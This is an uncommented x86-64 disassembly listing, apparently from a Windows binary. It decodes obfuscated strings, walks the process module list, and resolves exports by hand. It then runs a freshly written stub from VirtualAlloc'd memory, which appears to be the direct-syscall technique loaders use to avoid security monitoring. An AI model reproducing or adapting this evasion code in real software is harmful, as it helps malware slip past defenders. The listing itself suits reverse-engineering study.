mov dl, 0x64
lea rcx, [rbp + 0x178]
call fcn.140042908
mov byte [rbp + 0x17f], al
mov r9d, r13d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x178]
call fcn.140042908
mov byte [rbp + 0x180], al
mov r9d, r13d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x178]
call fcn.140042908
mov byte [rbp + 0x181], al
xor eax, eax
mov byte [rbp + 0x182], al
mov r8d, edi
mov r9d, r13d
lea r13d, [rdi + 0x10]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x178]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x178]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x179], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14003e7ee
xor eax, eax
mov byte [rbp + 0x182], al
mov rax, qword gs:[0x60]
test rax, rax
je 0x14003f677
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x14003e8fe
lea esi, [rax + 1]
mov r10d, esi
mov r15, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14003e8d0
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14003e95a
mov rax, rcx
lea r9, [rbp + 0x179]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003e953
add rax, r11
test edx, edx
jne 0x14003e93e
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor eax, eax
test dil, dil
jne 0x14003ee58
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x28]
jne 0x14003e887
xor eax, eax
mov edi, 1
mov qword [rbp + 0xd10], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x60], rax
mov word [rbp + 0x7f8], 0xf36b
mov byte [rbp + 0x7fa], 0x67
mov r9, r13
mov r8d, 2
mov dl, 0x43
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x7fb], al
mov r9, r13
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x7fc], al
mov r9, r13
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x7fd], al
mov r9, r13
mov r8d, 5
mov dl, 0x61
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x7fe], al
mov r9, r13
mov r8d, 6
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x7ff], al
mov r9, r13
mov r8d, 7
mov dl, 0x65
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x800], al
mov r9, r13
mov r8d, 8
mov dl, 0x54
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x801], al
mov r9, r13
mov r8d, 9
mov dl, 0x68
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x802], al
mov r9, r13
mov r8d, 0xa
mov dl, WSAStartup
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x803], al
mov r9, r13
mov r8d, ntohs
mov dl, 0x65
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x804], al
mov r9, r13
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x805], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x64
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x806], al
mov r9, r13
mov r8d, select
mov dl, 0x45
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x807], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x78
lea rcx, [rbp + 0x7f8]
call fcn.140042980
mov byte [rbp + 0x808], al
xor eax, eax
mov byte [rbp + 0x809], al
mov r8d, eax
mov r9, r13
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x7f8]
add eax, edi
movsxd rdi, eax
lea rax, [r8 + 0x10]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x7f8]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x7f9], dil
mov edi, 1
add r8, rdi
add r9, r13
cmp r9, 0x110
jb 0x14003eb56
xor edi, edi
mov byte [rbp + 0x809], dil
mov word [rbp + 0x280], 0x3d28
mov byte [rbp + 0x282], 0xfd
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x280]
call fcn.140042908
mov byte [rbp + 0x283], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x280]
call fcn.140042908
mov byte [rbp + 0x284], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x280]
call fcn.140042908
mov byte [rbp + 0x285], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x280]
call fcn.140042908
mov byte [rbp + 0x286], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x280]
call fcn.140042908
mov byte [rbp + 0x287], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x280]
call fcn.140042908
mov byte [rbp + 0x288], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x280]
call fcn.140042908
mov byte [rbp + 0x289], al
xor eax, eax
mov byte [rbp + 0x28a], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x280]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x280]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x281], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14003ecc5
xor edi, edi
mov byte [rbp + 0x28a], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x14003f8f5
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x60], edi
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x14003edd2
lea esi, [rax + 1]
mov r10d, esi
mov r15, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14003eda4
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14003ee2e
mov rax, rcx
lea r9, [rbp + 0x281]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003ee27
add rax, r11
test edx, edx
jne 0x14003ee12
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x14003f67f
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
xor edi, edi
cmp rax, qword [rbp - 0x28]
je 0x14003f8f5
jmp 0x14003ed5f
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14003e981
mov edx, 0x5a4d
cmp word [rcx], dx
jne 0x14003e981
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14003e97f
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14003e97f
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14003e97f
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x651]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003eee8
inc rax
test edi, edi
jne 0x14003eed3
xor eax, eax
lea edi, [rax + 1]
test r8d, r8d
je 0x14003ef00
add rdx, rdi
cmp rdx, qword [rbp - 0x40]
jb 0x14003eec2
jmp 0x14003e986
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
xor eax, eax
add rdx, rcx
je 0x14003e986
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
cmp eax, edi
jl 0x14003f670
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe10], rax
call fcn.1400a18a0
or dword [rbp + 0x3714], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x2390]
call fcn.1400437d4
lea rcx, [rbp + 0x2390]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x2390]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x41490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x14003efa6
mov r8d, 0x1000
lea rdx, [rbp + 0x41490]
mov rdi, qword [rbp + 0xe10]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x70]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe88], eax
lea r9, [rbp + 0xe88]
lea r12d, [rax + 0x20]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [r12 + 5]
lea r8, [0x14010d338]
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x60]
call rdi
mov edi, eax
lea r9, [rbp + 0xe88]
mov r8d, dword [rbp + 0xe88]
mov edx, 0x1000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp + 0xe10]
call fcn.1400c97b0
lea edx, [r12 - 0x15]
mov r8d, 0x8000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
test edi, edi
jns 0x14003e981
mov word [rbp + 0x848], 0x9a63
mov byte [rbp + 0x84a], 0x42
mov r9, rbx
lea r8d, [r12 - 0x1e]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x84b], al
mov r9, rbx
lea r8d, [r12 - 0x1d]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x84c], al
mov r9, rbx
lea r8d, [r12 - 0x1c]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x84d], al
mov r9, rbx
lea r8d, [r12 - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x84e], al
mov r9, rbx
lea r8d, [r12 - 0x1a]
mov dl, WSAStartup
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x84f], al
mov r9, rbx
lea r8d, [r12 - 0x19]
mov dl, 0x61
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x850], al
mov r9, rbx
lea r8d, [r12 - 0x18]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x851], al
mov r9, rbx
lea r8d, [r12 - 0x17]
mov dl, r12b
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x852], al
mov r9, rbx
lea r8d, [r12 - 0x16]
mov dl, 0x46
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x853], al
mov r9, rbx
lea r8d, [r12 - 0x15]
mov dl, 0x61
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x854], al
mov r9, rbx
lea r8d, [r12 - 0x14]
mov dl, 0x69
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x855], al
mov r9, rbx
lea r8d, [r12 - 0x13]
mov dl, 0x6c
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x856], al
mov r9, rbx
lea r8d, [r12 - 0x12]
mov dl, 0x75
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x857], al
mov r9, rbx
lea r8d, [r12 - 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x858], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x848]
call fcn.1400429f8
mov byte [rbp + 0x859], al
xor eax, eax
mov byte [rbp + 0x85a], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [r12 - 0x1f]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x848]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x848]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x849], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x14003f288
xor r10d, r10d
mov byte [rbp + 0x85a], r10b
mov word [rbp + 0x978], 0xea78
mov byte [rbp + 0x97a], reloc.WLDAP32.dll_Ordinal_30
lea edi, [r10 + 0x1b]
mov r9d, edi
lea r8d, [r10 + 2]
mov dl, 0x69
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x97b], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x6c
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x97c], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x65
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x97d], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x64
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x97e], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r12b
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x97f], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x980], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x981], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r12b
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x982], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x983], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x984], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x985], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x986], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x987], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x988], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x989], al
mov r9d, edi
mov r8, rbx
mov dl, r12b
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x98a], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x98b], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6d
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x98c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x98d], al
mov r9d, edi
mov r8, r14
mov dl, 0x67
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x98e], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x98f], al
mov r9d, edi
mov r8, r15
mov dl, r12b
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x990], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x991], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x992], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x34
lea rcx, [rbp + 0x978]
call fcn.140043e64
mov byte [rbp + 0x993], al
xor eax, eax
mov byte [rbp + 0x994], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x978]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x978]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x979], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x14003f5d7
mov byte [rbp + 0x994], r10b
xor r9d, r9d
lea r8, [rbp + 0x849]
lea rdx, [rbp + 0x979]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
xor eax, eax
jmp 0x14003e986
mov rdi, r10
jmp 0x14003e986
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14003f8f5
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003f8f5
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14003f8f5
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14003f8f5
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14003f8f5
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7f9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003f711
inc rax
test edi, edi
jne 0x14003f6fc
xor edi, edi
test r8d, r8d
je 0x14003f726
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x14003f6eb
jmp 0x14003f8f5
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14003f8f5
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x14003f8f5
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe10], rax
call fcn.1400a18a0
or dword [rbp + 0x4aa4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x3720]
call fcn.1400437d4
lea rcx, [rbp + 0x3720]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x3720]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x42490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14003f7cc
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x42490]
mov rdi, qword [rbp + 0xe10]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x70]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe84], eax
lea r9, [rbp + 0xe84]
mov r8d, r12d
mov edx, ebx
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x60]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xd10]
call rdi
mov edi, eax
lea r9, [rbp + 0xe84]
mov r8d, dword [rbp + 0xe84]
mov edx, ebx
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, qword [rbp + 0xe10]
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
test edi, edi
lea ebx, [rax + 0x11]
js 0x140041287
xor edi, edi
mov rax, qword [rbp + 0xd10]
mov qword [rbp - 0x60], rax
cmp rax, 0xffffffffffffffff
je 0x140041287
mov dword [rbp + 0xb68], 0xcc709975
mov word [rbp + 0xb6c], 0x912e
mov byte [rbp + 0xb6e], 2
mov r9, r14
mov r8d, 6
mov dl, 0x46
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb6f], al
mov r9, r14
mov r8d, 7
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb70], al
mov r9, r14
mov r8d, 8
mov dl, WSAStartup
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb71], al
mov r9, r14
mov r8d, 9
mov dl, 0x53
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb72], al
mov r9, r14
mov r8d, 0xa
mov dl, 0x69
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb73], al
mov r9, r14
mov r8d, ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb74], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x67
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb75], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb76], al
mov r9, r14
mov r8d, select
mov dl, 0x65
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb77], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb78], al
mov r9, r14
mov r8, r13
mov dl, 0x62
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb79], al
mov r9, r14
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb7a], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb7b], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x63
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb7c], al
mov r9, r14
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb68]
call fcn.140042ae8
mov byte [rbp + 0xb7d], al
xor eax, eax
mov byte [rbp + 0xb7e], al
mov r8, rdi
mov r9, r14
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb68]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x15]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb68]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb69], dil
add r8, r10
add r9, r14
cmp r9, 0x1ce
jb 0x14003faea
